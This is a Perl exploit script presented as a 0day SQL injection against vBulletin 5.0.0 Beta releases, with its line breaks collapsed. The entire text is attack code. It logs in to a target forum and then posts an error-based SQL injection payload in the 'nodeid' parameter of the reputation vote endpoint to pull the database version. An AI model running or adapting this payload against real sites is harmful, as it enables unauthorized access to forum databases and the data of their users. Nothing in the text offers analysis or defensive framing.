vBulletin 5.0.0 all Beta releases SQL Injection Exploit 0day

Code
#!/usr/bin/perluse LWP::UserAgent;use HTTP::Cookies;use HTTP::Request::Common;use MIME::Base64;system $^O eq 'MSWin32' ? 'cls' : 'clear';print "+===================================================+| vBulletin 5 Beta XX SQLi 0day |+===================================================+";if (@ARGV != 5) { print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n"; exit;}$host = $ARGV[0];$path = $ARGV[1];$username = $ARGV[2];$password = $ARGV[3];$magicnum = $ARGV[4];$encpath = encode_base64('http://'.$host.$path);print "[+] Logging\n";print "[+] Username: ".$username."\n";print "[+] Password: ".$password."\n";print "[+] MagicNum: ".$magicnum."\n";print "[+] " .$host.$path."auth/login\n";my $browser = LWP::UserAgent->new;my $cookie_jar = HTTP::Cookies->new;my $response = $browser->post( 'http://'.$host.$path.'auth/login', [ 'url' => $encpath, 'username' => $username, 'password' => $password, ], Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'', User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',);$browser->cookie_jar( $cookie_jar );my $browser = LWP::UserAgent->new;$browser->cookie_jar( $cookie_jar );print "[+] Requesting\n";my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote', [ 'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338', ], User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',);$data = $response->content;if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };print "\n";exit 1;